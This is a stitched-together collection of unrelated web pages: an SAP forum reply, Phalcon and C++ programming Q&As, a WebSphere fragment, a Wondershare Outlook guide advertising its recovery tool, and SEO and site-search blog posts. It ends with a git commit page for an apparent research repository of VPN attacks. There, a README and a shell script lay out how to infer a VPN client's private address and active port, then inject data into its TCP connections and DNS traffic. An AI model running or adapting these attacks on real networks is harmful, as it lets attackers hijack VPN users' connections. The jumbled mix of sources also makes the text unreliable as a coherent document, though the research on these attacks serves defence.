In yesterdays example you called one form, then converted OTF data into PDF data and downloaded on Presentation server.
In this case, after you call first form, you get the OTF data. Push this OTF data into a MAIN Internal table ( Same type as of OTF dada Int TAB ). Then Call second form. Then you get second set of OTF data. This second set of OTF data may be appended to the MAIN Internal table and the follw same procedure for the rest of the forms. In the end you will have one Internal table which holds OTF data of all the 4 forms.
Now convert the OTD data to PDF Data by the FM and Download one file which has output of all the 4 forms.
I hope my explanation is quite clear.
Regarding your second question, the Archive and Print and archive buttons on the PRINT PREVIEW screen works for Spool archiving which is to be enabled by customizing. If you wish to archive the output as PDF, you may have to do it in program.
I am NOT accessible on YAHOO.
Plz let me know if you are stuck.
Regards, Murugesh AS
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Is there a possibility to do it using standard router, cause this would allow me to define a controller action like
public function myAction($page = 1) {}
?
Best regards
83.4k
Just create the routes that way:
<?php
$router = new Phalcon\Mvc\Router(false);
$router->add("/:controller/:action[/]?([0-9]+)?", array(
'controller' => 1,
'action' => 2,
'page' => 3
));
This will work for matching route, but will not generate it correctly. I'm getting at the end of address
my-route[/]??
Was searching for similar problem solving. Here my answer http://stackoverflow.com/a/18205750/501831
edited Oct '15
I had the same problem and that's how I solved it:
routes.php
<?php
$method = strtolower($this->di->getRequest()->getMethod());
$router = new \Phalcon\Mvc\Router(false);
$router->setUriSource(\Phalcon\Mvc\Router::URI_SOURCE_SERVER_REQUEST_URI);
$router->removeExtraSlashes(true);
$group = new \Phalcon\Mvc\Router\Group([
'namespace' => 'Acme\Controller\Customer',
]);
$group->setPrefix('/customer');
$group->addGet('/address', [
'controller' => 'address',
'action' => $method,
]);
$group->addGet('/address/{id:[a-z0-9]*}', [
'controller' => 'address',
'action' => $method,
])
->setName('customer/address');
$group->addPost('/address', [
'controller' => 'address',
'action' => $method,
]);
Result:
$this->url->get(['for' => 'customer/address']);
genetates example.com/customer/address and
$this->url->get(['for' => 'customer/address', 'id' => '123']);
generates example.com/customer/address/123
4.3k
try this
$group->addGet('/address(/.*)*', [
'controller' => 'address',
'action' => $method,
'id' => 1
])
|
__label__pos
| 0.888871 |
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
I'm tokening with the following, but unsure how to include the delimiters with it.
void Tokenize(const string str, vector<string>& tokens, const string& delimiters)
{
int startpos = 0;
int pos = str.find_first_of(delimiters, startpos);
string strTemp;
while (string::npos != pos || string::npos != startpos)
{
strTemp = str.substr(startpos, pos - startpos);
tokens.push_back(strTemp.substr(0, strTemp.length()));
startpos = str.find_first_not_of(delimiters, pos);
pos = str.find_first_of(delimiters, startpos);
}
}
share|improve this question
5 Answers 5
up vote 14 down vote accepted
The C++ String Toolkit Library (StrTk) has the following solution:
std::string str = "abc,123 xyz";
std::vector<std::string> token_list;
strtk::split(";., ",
str,
strtk::range_to_type_back_inserter(token_list),
strtk::include_delimiters);
It should result with token_list have the following elements:
Token0 = "abc,"
Token1 = "123 "
Token2 = "xyz"
More examples can be found Here
share|improve this answer
I now this a little sloppy, but this is what I ended up with. I did not want to use boost since this is a school assignment and my instructor wanted me to use find_first_of to accomplish this.
Thanks for everyone's help.
vector<string> Tokenize(const string& strInput, const string& strDelims)
{
vector<string> vS;
string strOne = strInput;
string delimiters = strDelims;
int startpos = 0;
int pos = strOne.find_first_of(delimiters, startpos);
while (string::npos != pos || string::npos != startpos)
{
if(strOne.substr(startpos, pos - startpos) != "")
vS.push_back(strOne.substr(startpos, pos - startpos));
// if delimiter is a new line (\n) then addt new line
if(strOne.substr(pos, 1) == "\n")
vS.push_back("\\n");
// else if the delimiter is not a space
else if (strOne.substr(pos, 1) != " ")
vS.push_back(strOne.substr(pos, 1));
if( string::npos == strOne.find_first_not_of(delimiters, pos) )
startpos = strOne.find_first_not_of(delimiters, pos);
else
startpos = pos + 1;
pos = strOne.find_first_of(delimiters, startpos);
}
return vS;
}
share|improve this answer
I can't really follow your code, could you post a working program?
Anyway, this is a simple tokenizer, without testing edge cases:
#include <iostream>
#include <string>
#include <vector>
using namespace std;
void tokenize(vector<string>& tokens, const string& text, const string& del)
{
string::size_type startpos = 0,
currentpos = text.find(del, startpos);
do
{
tokens.push_back(text.substr(startpos, currentpos-startpos+del.size()));
startpos = currentpos + del.size();
currentpos = text.find(del, startpos);
} while(currentpos != string::npos);
tokens.push_back(text.substr(startpos, currentpos-startpos+del.size()));
}
Example input, delimiter = $$:
Hello$$Stack$$Over$$$Flow$$$$!
Tokens:
Hello$$
Stack$$
Over$$
$Flow$$
$$
!
Note: I would never use a tokenizer I wrote without testing! please use boost::tokenizer!
share|improve this answer
1
+1 for the Boost.Tokenizer mention – Éric Malenfant Oct 2 '09 at 18:50
I edited my post to include all of the function. I see what you did, but the delimiters will be a string and each char in the string will be a delimiter. Passed like so " ,.!\n" So a comma, period, exclamation, and new line will be pushed into the vector as well, but not the space. This way I can join the vector back and use a space in between the vector items and rebuild the string. – Jeremiah Oct 2 '09 at 18:54
comma, period, exclamation, and new line including the space will be the delimiters. sorry wanted to make taht clear. – Jeremiah Oct 2 '09 at 18:54
Aha :) I think I miss understood the question. I though you want to include the delimiters in with tokens. Why don't you use boost::tokenizer? it exactly does what you want. – AraK Oct 2 '09 at 19:00
Can I get the tokenizer without the entire library? – Jeremiah Oct 2 '09 at 19:25
if the delimiters are characters and not strings, then you can use strtok.
share|improve this answer
huh? what's wrong with strtok? – sean riley Oct 2 '09 at 21:30
Thanks .. I had almost forgotten about this function :P – poorva Sep 5 '13 at 11:09
It depends on whether you want the preceding delimiters, the following delimiters, or both, and what you want to do with strings at the beginning and end of the string that may not have delimiters before/after them.
I'm going to assume you want each word, with its preceding and following delimiters, but NOT any strings of delimiters by themselves (e.g. if there's a delimiter following the last string).
template <class iter>
void tokenize(std::string const &str, std::string const &delims, iter out) {
int pos = 0;
do {
int beg_word = str.find_first_not_of(delims, pos);
if (beg_word == std::string::npos)
break;
int end_word = str.find_first_of(delims, beg_word);
int beg_next_word = str.find_first_not_of(delims, end_word);
*out++ = std::string(str, pos, beg_next_word-pos);
pos = end_word;
} while (pos != std::string::npos);
}
For the moment, I've written it more like an STL algorithm, taking an iterator for its output instead of assuming it's always pushing onto a collection. Since it depends (for the moment) in the input being a string, it doesn't use iterators for the input.
share|improve this answer
I want the string "Test string, on the web.\nTest line one." to be tokens like so. I want a space, a commma, a period, and \n to be delimiters. Test string , on the web . \n Test line one . – Jeremiah Oct 2 '09 at 19:38
Sorry, it didn't post correctly. After the word delimiter its was supposed to have each thing on a new line. – Jeremiah Oct 2 '09 at 19:39
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Queue configuration tips
The following section outlines a methodology for configuring the WAS queues. Moving the database server onto another machine or providing more powerful resources, for example a faster set of CPUs with more memory, can dramatically change the dynamics of your system.
There are four tips for queuing:
WebSphere is a trademark of the IBM Corporation in the United States, other countries, or both.
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Rational is a trademark of the IBM Corporation in the United States, other countries, or both.
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| 0.702837 |
Wondershare Recoverit
File Recovery
• Recovers deleted or lost files effectively, safely and completely.
• Supports data recovery from 500+ data loss scenarios, including computer crash, partition loss, accidental human error, etc.
• Supports 1000+ file formats recovery with a high success rate and without any quality loss.
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file recovery
How to Delete Folders from Outlook?
Wondershare Recoverit Authors
Jan 15, 2024 • Filed to: Recover Emails • Proven solutions
Q: How do I permanently delete folders in Outlook?
"My Outlook is really cluttered and running low on space. To fix this, I want to permanently remove certain folders. Can someone tell me how do I delete folders in Outlook?"
Microsoft Outlook provides a smart solution to manage multiple email accounts in one place. Not just that, it can also act as your primary email account as well and further provide several features. Though, there are so many times when people just wish to delete Outlook folders or emails. From getting more space to decluttering the account – there could be all kinds of reasons for this. To help you do the same, we have come up with an extensive guide on how to delete folders in Outlook in a trouble-free manner. Let's get to know about these Outlook solutions in detail.
outlook for mac
Overview of Deleting Folders in Outlook
Before we let you know how do you delete a folder in Outlook, let's discuss a few things in advance. The following are some of the major situations why people choose to delete Outlook folders.
What Happens When You Delete a Folder in Outlook?
When we delete a folder in Outlook, it gets rid of the emails, attachments, and contacts that were saved in it. Therefore, you should be aware of the consequences of this action.
Suggestions Before Deleting Emaails from Outlook
Therefore, before you learn how to delete emails in Outlook, consider these suggestions:
• Make sure that you save all the details (like attachments) of the folder on the local storage.
• Any other detail that is related to the folder should also be saved.
• If you think the folder is getting spammed, then you can simply set a filter on it or block certain email ids as well.
How to Delete Folders in Outlook?
Since Outlook has a user-friendly interface, it is extremely easy to delete folders from it whenever we want. Firstly, when a folder is deleted, its emails would be moved to Deleted Items. If you want to permanently delete your files, then you need to wipe them off from the Trash folder as well. Here's how to delete folders in Outlook permanently.
1. Firstly, launch Outlook on your system and simply navigate to the folder you wish to delete. You can find it on the sidebar and under Inbox (or any other folder).
2. Right-click its icon and select the "Delete Folder" option. As a pop-up warning would appear, click on the "Yes" button to agree to it.
delete-folders-outlook-1
1. Alternatively, you can visit the folder and choose to clean up the folder (or subfolders) from here to remove duplicate content.
delete-folders-outlook-2
1. This will delete the Outlook folder and would move its emails to the Deleted Items folder. There is a dedicated section for Deleted Items on the sidebar that you can visit.
2. To permanently delete your data, just click on the "Empty Folder" button on the toolbar. Alternatively, you can also restore the deleted mails from here as well.
delete-folders-outlook-3
However, if you're using Gmail, here are the steps to delete folders in Gmail.
How to Delete Items from Folders in Outlook?
Sometimes, we don't wish to delete the entire folder in Outlook but would like to get rid of certain emails instead. You can do the same pretty easily by following these basic steps:
1. Launch Outlook on your system and go to the folder you wish to manage. From here, you can select a sub-folder, right-click, and delete it.
delete-items-outlook-1
1. Additionally, you can also view the saved emails of the folder on the right. Just select the email of your choice, right-click, and choose the "Delete" option. You can press the CTRL key or use the mouse pointer to select multiple emails at once.
delete-items-outlook-2
1. Alternatively, after selecting the emails you wish to remove, you can also click on the Delete button on the toolbar. Confirm to the pop-up warning and delete your emails from Outlook folder
Bonus: How to Create and Manage a Folder in Outlook?
By now, you can easily tell anyone how to delete deleted items in Outlook or how to delete folders in Outlook. Though, there are so many things that you can do with Outlook to easily manage your emails. Here are some useful tips that will further improve your Outlook experience.
1. Create a folder in Outlook
If you want to manage your Outlook space, then you can simply create a new folder and move your mails in it. Just go to the toolbar > Folder and click on the "New Folder" option here. A pop-up would appear where you can specify the name of the folder and what it would contain. In the end, just select where to place the folder and create it by clicking on the "Ok" button.
new-folder-outlook
1. Manage a Folder in Outlook
Most of the people create folders on Outlook to manage their emails. For instance, your inbox is cluttered, then you can just create a priority folder and set some rules and filters on it. Once the folder is created, go to its settings, and create a new rule. Here, you can specify particular senders, keywords, etc. for a mail to contain. Once the rule/filter is set, the email would automatically go to the designated folder.
create-rules-outlook
Apart from that, you can also move one folder to another or delete duplicate content on it to manage it.
1. Recover deleted folders and items
If you have permanently deleted Outlook files by mistake, then consider using a data recovery tool to retrieve it. I would recommend using a professional tool like Wondershare Recoverit. It can scan your system and get back the lost Outlook data like PST or OST files of your account. Not just your emails, you can also restore your documents, photos, videos, and or any kind of data that is lost as well.
To learn how to restore deleted folder or data in Outlook, follow these basic steps:
1. Simply launch Recoverit on your system and select a location to scan. If you are not sure, then you can perform a thorough scan of the entire drive. It is recommended to select the location where your Outlook files were previously saved.
recoverit-interface
1. Afterward, wait for a few minutes as the application would scan the storage and look for all kinds of lost, deleted, and inaccessible data.
operations-during-scanning
1. Once the process is completed, all the retrieved data will be listed under different categories. You can just preview your files here, select them, and click on the "Restore" button to save them at any desired location.
preview-recovered-photos
After reading this guide, you would certainly be able to know how to delete folders in Outlook or recover deleted items from Outlook in Mac/Windows. Not just that, we have also listed tons of information that would help you manage your Outlook account like a pro. As you can see, it is so easy to delete files and folders on Outlook. That is why so many people still use Outlook to manage their email accounts in one place. If you also have a pro tip for our readers related to Outlook folders, then let us know about it in the comments below.
Recoverit author
Amy Dennis
staff Editor
Home > Resources > Recover Emails > How to Delete Folders from Outlook?
|
__label__pos
| 0.800859 |
Icon Remover Windows What is error 0xc004f069?
What is error 0xc004f069?
What is error 0xc004f069?
Categories:
Let’s see the steps to fix the Windows Server activation error code 0xc004f069. 1] Log into Windows Server. 2] Right-click on the “ Start ” menu and select “ Settings ” to open the “ Settings ” app. Now, click on the “ System ” option. 3] Now, scroll down the left panel and select the “ About ” section to view which edition of Windows you have.
How to fix 0xc004c003 on Windows 10?
Open the Start Menu and go to Settings to open Settings.
Then select “Update & security” to open the “Update security and other” section.
Then go to the Activation section and click on the Troubleshoot tab for the system type to fix errors automatically up to Windows 10.
How to fix Windows 10 error code 0xc00000f?
To fix someone’s Winload.exe 0xc000000f error, follow these steps. First, change the boot order in BIOS to CD or removable media, whichever you’re using, to match your Windows installation.
Then enter the Windows installation disc and restart your favorite computer.
Now click “Repair your computer” on the screen instead of the “Install now” option.
How to fix 0x80072f05 error on Windows 10?
Right-click the Start button and select Settings.
Go to the Update & Security section.
On the left side of the windshield, select Troubleshoot. Below
Scroll right in the Market to find Windows Store apps.
Click it once and select Run the troubleshooter.
Windows detects errors and tries to fix them.
How to fix error 0xc004f050?
] Downgrade Windows 10 Edition. Sometimes activation items appear when you upgrade your operating system to a later version associated with Windows 10.
] Fixed activation error. This is the most effective way to resolve the causes that cause the computer to boot up 0xC004F050.
]Use a legitimate gadget key. window
] Reactivate after changing by yourself.
How to fix Windows Server activation error 0xc004f069?
Learn the steps to fix Windows Server activation error prefix error 0xc004f069 without any doubt. 1] Connect to server windows. 2] Right-click the Start Menu and select Settings to open the Settings app. Now click on the option to do with “System”.
How do I fix error code 0xC004F069?
How to resolve the specific issue reported by Outbyte error code “0xc004f069”.
1. Download PC Recovery App See growing information about Outbyte; removal instructions; EULA; Privacy Policy.
2. Be sure to install and run the application.
3. Click the “Scan Now” button to detect problems and anomalies.
4. < li>Click the “Repair” button to solve all problems.
How do I fix error 0xC004F069?
How to fix the reported issue is error code 0xC004F069.
1. Download the Outbyte PC Repair application. Additional information Outbyte; Near-delete instructions; EULA; Privacy Policy.
2. Install and run the application.
3. Click the Build Now button to check for anomalies.
4. Click the Fix All button for fixes.
What is error 0xC004F069?
Error code 0xc004f069 The Software Licensing Service reported that the product SKU could not be found. If you have a test server version, your company cannot use the slmgr /ipk command with a MAK VLSC key or a Direct Retail key to activate.
How do I fix error 0xc004f069?
How to solve the stated problem – error code “0xc004f069”
How do I fix error code 0xc004f069?
How to revert to solving the problem reported by process error code 0xc004f069
What does the error code 0xc004f069 mean?
Windows shows software error 0xc004f069 when trying to install a Windows 10 key product. If the error message definitely appears on the screen, you cannot install that particular product key. Learn how to install a license for Windows Server Standard and Evaluation major editions.
What is error 0xc004f069?
If you yourself received this warning on a PC, then your solution failed at that time. Error code 0xc004f069 is one of the problems that users may encounter as a result of bogus or unsuccessful installation or removal of software that may contain invalid remote entries in system items.
|
__label__pos
| 0.953375 |
Lisa Frank
On-Site Search: Test the Back-End
My last few blog posts have been dedicated to the importance of visual and functional tests for on-site search. Before we wrap up the series, let’s review a few more ideas related to the back-end areas of your site not noticeable to the visitor:
1. Algorithm: Test the underlying algorithm that powers your search. The algorithm determines what the search returns. Testing a new or updated algorithm highlights opportunities to improve. You can test sending users to different versions of a search algorithm, your own vs. one provided by a vendor.
2. Vendor: Compare two different vendors in head-to-head competition. Take the guesswork out of which vendor tool works best for your site. You can use SiteSpect to compare searches provided by two different vendors.
Bringing It All Together
Now that you have the list of suggested tests, how do you move forward? As a first step, identify all the stakeholders on your optimization team. Then bring in other teams: cross-team collaboration is a critical element of prioritizing your roadmap and determining how to begin. Note the areas of search that are affected by each test so they don’t collide. For example, you don’t want to test relevancy when another part of the organization is testing the algorithm. The two are so closely related that changes to one may affect the results for the other.
We started the series with a refresher about the importance of testing on-site search. Then we provided some specific examples on what to test. Hopefully this has sparked a few ideas that you can put to work in your own organization. For your reference, here is the list of test ideas:
Visual Tests:
1. Position
2. Layout
3. Metadata
4. Images
5. Calls to Action
Functional Tests:
1. Relevance
2. Default Sort Order
3. Customer Ratings
4. Error Handling
5. Features
Back-end Tests:
1. Algorithms
2. Vendor Testing
Are there any other topics you want to learn more about? If so, let us know on Twitter.
Tags: A/B & Multivariate Testing
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__label__pos
| 0.834194 |
Urdu Urdu English English
What is Anchor text and how does it work
What is Anchor text:
Anchor text is a title or label of specific hyperlink in your post content, In simple words you can say that, Linked text is an anchor text. Anchor text can place on hyperlink, while using internal linking or while back-linking with external websites.
What is Anchor text and how does it work
Anchor Text Structure
In the above image you can see that, a href html tag inside in it, an individual Facebook link and between open and close tag an anchor text name as Facebook.You can see clearly, Above image describe the appropriate form of anchor text.Search Engines changed his algorithms with the passage of time, and update its features but infrastructure remain same. Next we will talk about on how does anchor text work. As you know, we talked about Organic Seo in previous articles and understand about his strategies and factors or elements. Anchor text is also an element/factor of Seo and we tend to add anchor text in our web content. Finest content consists on anchor text. Above we said, anchor text is a label or title of any link so it is important to know that, Use anchor text in appropriate form using with keywords. If you are doing internal linking with your own site pages then choose meaningful or relevant keywords in anchor text.
Now search engines become smart and they analysis every single content that’s why, It is important to use beneficial or relevant keywords in anchor text. Don’t try to use irrelevant keywords because Google consider and treat this irrelevant keyword as a useless link. Probably, Someone will ask me why Google take it as useless link. Answer is that, Because you are referring an irrelevant anchor text to other irrelevant content page both are not relevant like, if you have a HostGator affiliate link and add this link in you fashion post so, it is totally unfair with your website and with your profession, because both content criteria are not met with each other that’s why search engines take it as a useless link.
Anchor Text role in Backlinks:
Anchor text playing important role in backlinks. Backlinks is a factor of organic Seo. During create backlinks on forums, social profiles, We have always believed that, to use best keyword for hyperlink to your site or blog similarly in anchor text, the same process applies here so, it is good Seo practice to select relevant keyword to refer relevant content through anchor text and backlinks.
Anchor text advantages:
Seo experts emphasis the usage of anchor text because anchor text make the content user-friendly. Search engines check your content during crawling and analyze the rich keywords which are used in content. Specially Google consider anchor text in search ranking. According to my own experience, Best usage of anchor text make your website rich or maybe the cause of successful.
Hopefully, Now you will maintain the ratio of anchor text on your site content. You can subscribe our newsletters and get updates about Seo, developments and further more in your inbox.For further queries and feedback’s use below comment box. 🙂
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| 0.986643 |
Browse Source
adding original attack test scripts and demos
master
Beau Kujath 6 months ago
parent
commit
5882c33314
1. 78
README.md
2. 37
client-side-attack/complete_attack/attack.sh
3. 2
client-side-attack/first_phase/Makefile
4. 10
client-side-attack/first_phase/phase_one_attack.sh
5. 204
client-side-attack/first_phase/send.cpp
6. 155
client-side-attack/first_phase/slow_p1.py
7. 12
client-side-attack/rebuild_all.sh
8. 2
client-side-attack/sec_phase/Makefile
9. 241
client-side-attack/sec_phase/send.cpp
10. 2
client-side-attack/third_phase/Makefile
11. 694
client-side-attack/third_phase/send.cpp
12. BIN
demos/fb-mitm-firefox.mp4
13. BIN
demos/nsl-brack.mp4
14. BIN
demos/wa-jack.mov
15. 83
old-readme
16. BIN
pcaps/client-side-caps/nping-examples/.setup.txt.swp
17. BIN
pcaps/client-side-caps/nping-examples/attacker/phase2_nping_attacker.pcap
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pcaps/client-side-caps/nping-examples/attacker/phase3_nping_attacker.pcap
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pcaps/client-side-caps/nping-examples/setup.txt
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pcaps/client-side-caps/nping-examples/victim/phase2_nping_vic.pcap
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pcaps/client-side-caps/nping-examples/victim/phase3_nping_vic.pcap
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pcaps/client-side-caps/washu-demo/vic_any_capture_wash.pcap
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pcaps/client-side-caps/washu-demo/wash_attacker.pcap
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pcaps/server-side-caps/other-end-dns-inject.pcapng
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results/results.tar.gz
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server-side-attack/dns-sside/full_scan/Makefile
28. 12
server-side-attack/dns-sside/full_scan/inject_test.sh
29. 619
server-side-attack/dns-sside/full_scan/send.cpp
30. 2
server-side-attack/dns-sside/phases/udder_fillup/Makefile
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32. 26
server-side-attack/dns-sside/phases/udder_fillup/fillup.blah
33. 165
server-side-attack/dns-sside/phases/udder_fillup/send.cpp
34. BIN
server-side-attack/dns-sside/phases/udder_fillup/uud_send
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server-side-attack/dns-sside/phases/udder_test/Makefile
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server-side-attack/dns-sside/phases/udder_test/send.cpp
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server-side-attack/dns-sside/phases/udder_test/uud_send
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server-side-attack/tcp-sside/Makefile
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server-side-attack/tcp-sside/send.cpp
40. 72
virtual-test-environment/README.md
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virtual-test-environment/boot_all.sh
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virtual-test-environment/destroy_all.sh
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virtual-test-environment/edgers/client/copy_client_config.sh
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virtual-test-environment/edgers/client/setup_net.sh
48. 650
virtual-test-environment/edgers/client/ubuntu-xenial-16.04-cloudimg-console.log
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virtual-test-environment/edgers/setups/add_nat.sh
50. 6
virtual-test-environment/edgers/setups/add_tun_rule.sh
51. 15
virtual-test-environment/edgers/setups/attacker/connect.sh
52. 17
virtual-test-environment/edgers/setups/attacker/mitm_setup.sh
53. 33
virtual-test-environment/edgers/setups/attacker/setup_attacker.sh
54. 29
virtual-test-environment/edgers/setups/attacker/setup_nat.sh
55. 8
virtual-test-environment/edgers/setups/attacker/strip.sh
56. 38
virtual-test-environment/edgers/setups/dns/bind_config/bind.keys
57. 12
virtual-test-environment/edgers/setups/dns/bind_config/db.0
58. 13
virtual-test-environment/edgers/setups/dns/bind_config/db.127
59. 12
virtual-test-environment/edgers/setups/dns/bind_config/db.255
60. 14
virtual-test-environment/edgers/setups/dns/bind_config/db.empty
61. 14
virtual-test-environment/edgers/setups/dns/bind_config/db.local
62. 11
virtual-test-environment/edgers/setups/dns/bind_config/named.conf
63. 30
virtual-test-environment/edgers/setups/dns/bind_config/named.conf.default-zones
64. 8
virtual-test-environment/edgers/setups/dns/bind_config/named.conf.local
65. 39
virtual-test-environment/edgers/setups/dns/bind_config/named.conf.options
66. 4
virtual-test-environment/edgers/setups/dns/bind_config/rndc.key
67. 20
virtual-test-environment/edgers/setups/dns/bind_config/zones.rfc1918
68. 19
virtual-test-environment/edgers/setups/dns/install_docker.sh
69. 13
virtual-test-environment/edgers/setups/dns/start_dns.sh
70. 59
virtual-test-environment/edgers/setups/vpn_server/make_client_configs.sh
71. 106
virtual-test-environment/edgers/setups/vpn_server/setup_vpn.sh
72. 1
virtual-test-environment/edgers/vpn-server/.vagrant/machines/default/virtualbox/vagrant_cwd
73. 20
virtual-test-environment/edgers/vpn-server/Vagrantfile
74. 13
virtual-test-environment/edgers/vpn-server/copy_vpn_setup.sh
75. 14
virtual-test-environment/edgers/vpn-server/setup_net.sh
76. 653
virtual-test-environment/edgers/vpn-server/ubuntu-xenial-16.04-cloudimg-console.log
77. 1
virtual-test-environment/edgers/web-server/.vagrant/machines/default/virtualbox/vagrant_cwd
78. 19
virtual-test-environment/edgers/web-server/Vagrantfile
79. 9
virtual-test-environment/edgers/web-server/copy_dns_setup.sh
80. 14
virtual-test-environment/edgers/web-server/setup_net.sh
81. 648
virtual-test-environment/edgers/web-server/ubuntu-xenial-16.04-cloudimg-console.log
82. 1
virtual-test-environment/routers/gateway/.vagrant/machines/default/virtualbox/vagrant_cwd
83. 21
virtual-test-environment/routers/gateway/Vagrantfile
84. 54
virtual-test-environment/routers/gateway/setup_net.sh
85. 654
virtual-test-environment/routers/gateway/ubuntu-xenial-16.04-cloudimg-console.log
86. 1
virtual-test-environment/routers/router1/.vagrant/machines/default/virtualbox/vagrant_cwd
87. 21
virtual-test-environment/routers/router1/Vagrantfile
88. 11
virtual-test-environment/routers/router1/copy_attacker_setup.sh
89. 14
virtual-test-environment/routers/router1/disable_stuff.sh
90. 62
virtual-test-environment/routers/router1/setup_net.sh
91. 666
virtual-test-environment/routers/router1/ubuntu-xenial-16.04-cloudimg-console.log
92. 1
virtual-test-environment/routers/router2/.vagrant/machines/default/virtualbox/vagrant_cwd
93. 21
virtual-test-environment/routers/router2/Vagrantfile
94. 62
virtual-test-environment/routers/router2/setup_net.sh
95. 672
virtual-test-environment/routers/router2/ubuntu-xenial-16.04-cloudimg-console.log
96. 1
virtual-test-environment/routers/router3/.vagrant/machines/default/virtualbox/vagrant_cwd
97. 21
virtual-test-environment/routers/router3/Vagrantfile
98. 62
virtual-test-environment/routers/router3/setup_net.sh
99. 663
virtual-test-environment/routers/router3/ubuntu-xenial-16.04-cloudimg-console.log
100. 87
virtual-test-environment/start_all.sh
78
README.md
@ -1,2 +1,80 @@
# vpn-attacks
##### Attack Machine Environment
* C++
* libtins (http://libtins.github.io/download/)
## Server-side attack
#### Requirements
* VPN client connected to a VPN server
* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two
***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder
#### Running the DNS Attack Script
1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan`
2. Compile attack script - `make`
3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp`
3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>`
## Client-side attack
#### Requirements
* VPN client connected to a VPN server
* Reverse path filtering disabled on the VPN client machine
* Attack router acting as the local network gateway for the victim (VPN client) machine
#### Running the Full Attack Script
* Rebuild all the attack scripts: `./rebuild_all.sh`
* `cd full_attack`
* Change `attack.sh` vars to appropriate values
* `sh attack.sh <remote_ip>`
***Note:*** `remote_ip` specifies the IP address of the HTTP site.
#### Testing Indivual attack phases
##### Phase 1 - Infer victim's private address
* `cd first_phase`
* `python3 send.py <victim_public_ip> <private_ip_range>`
***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`.
##### Phase 2 - Infer the port being used to talk to some remote address
* `cd sec_phase`
* Edit `send.cpp` to use the correct MAC addresses
* `g++ send.cpp -o send -ltins`
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>`
***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.
##### Phase 3 - Infer exact sequence number and in-window ack
* `cd third_phase`
* Edit `send.cpp` to use the correct MAC addresses
* `g++ send.cpp -o send -ltins`
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>`
***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.
37
client-side-attack/complete_attack/attack.sh
@ -0,0 +1,37 @@
REMOTE_ADDR=$1
REMOTE_PORT=80
VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
WLAN_GATEWAY=192.168.12.1 # address of local network gateway
VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
PRIV_NETMASK=255.255.255.0
REQUEST_SIZE=529
DEST_MAC=a4:34:d9:53:92:c4
INTERFACE=wlp1s0
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo `date`
echo "attempting to infer client's private VPN address.."
cd ../first_phase
PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
echo "phase 1 client private IP: ${PRIV_IP}"
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo `date`
echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
cd ../sec_phase
VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
echo "phase 2 port result: ${VPORT}"
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo `date`
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
cd ../third_phase
./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
echo `date`
2
client-side-attack/first_phase/Makefile
@ -0,0 +1,2 @@
all:
g++ -O3 -o send_p1 send.cpp -lpthread -ltins -std=c++11
10
client-side-attack/first_phase/phase_one_attack.sh
@ -0,0 +1,10 @@
#/bin/bash
./phase_one_attack 52:54:00:12:ae:4c\
52:54:00:12:ae:3f\
10.7.1.0\
255.255.255.0\
192.168.64.1\
ens5\
35220\
443
204
client-side-attack/first_phase/send.cpp
@ -0,0 +1,204 @@
/*
* Modified from http://libtins.github.io/examples/syn-scanner/
*
* INCLUDED COPYRIGHT
* Copyright (c) 2016, Matias Fontanini
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
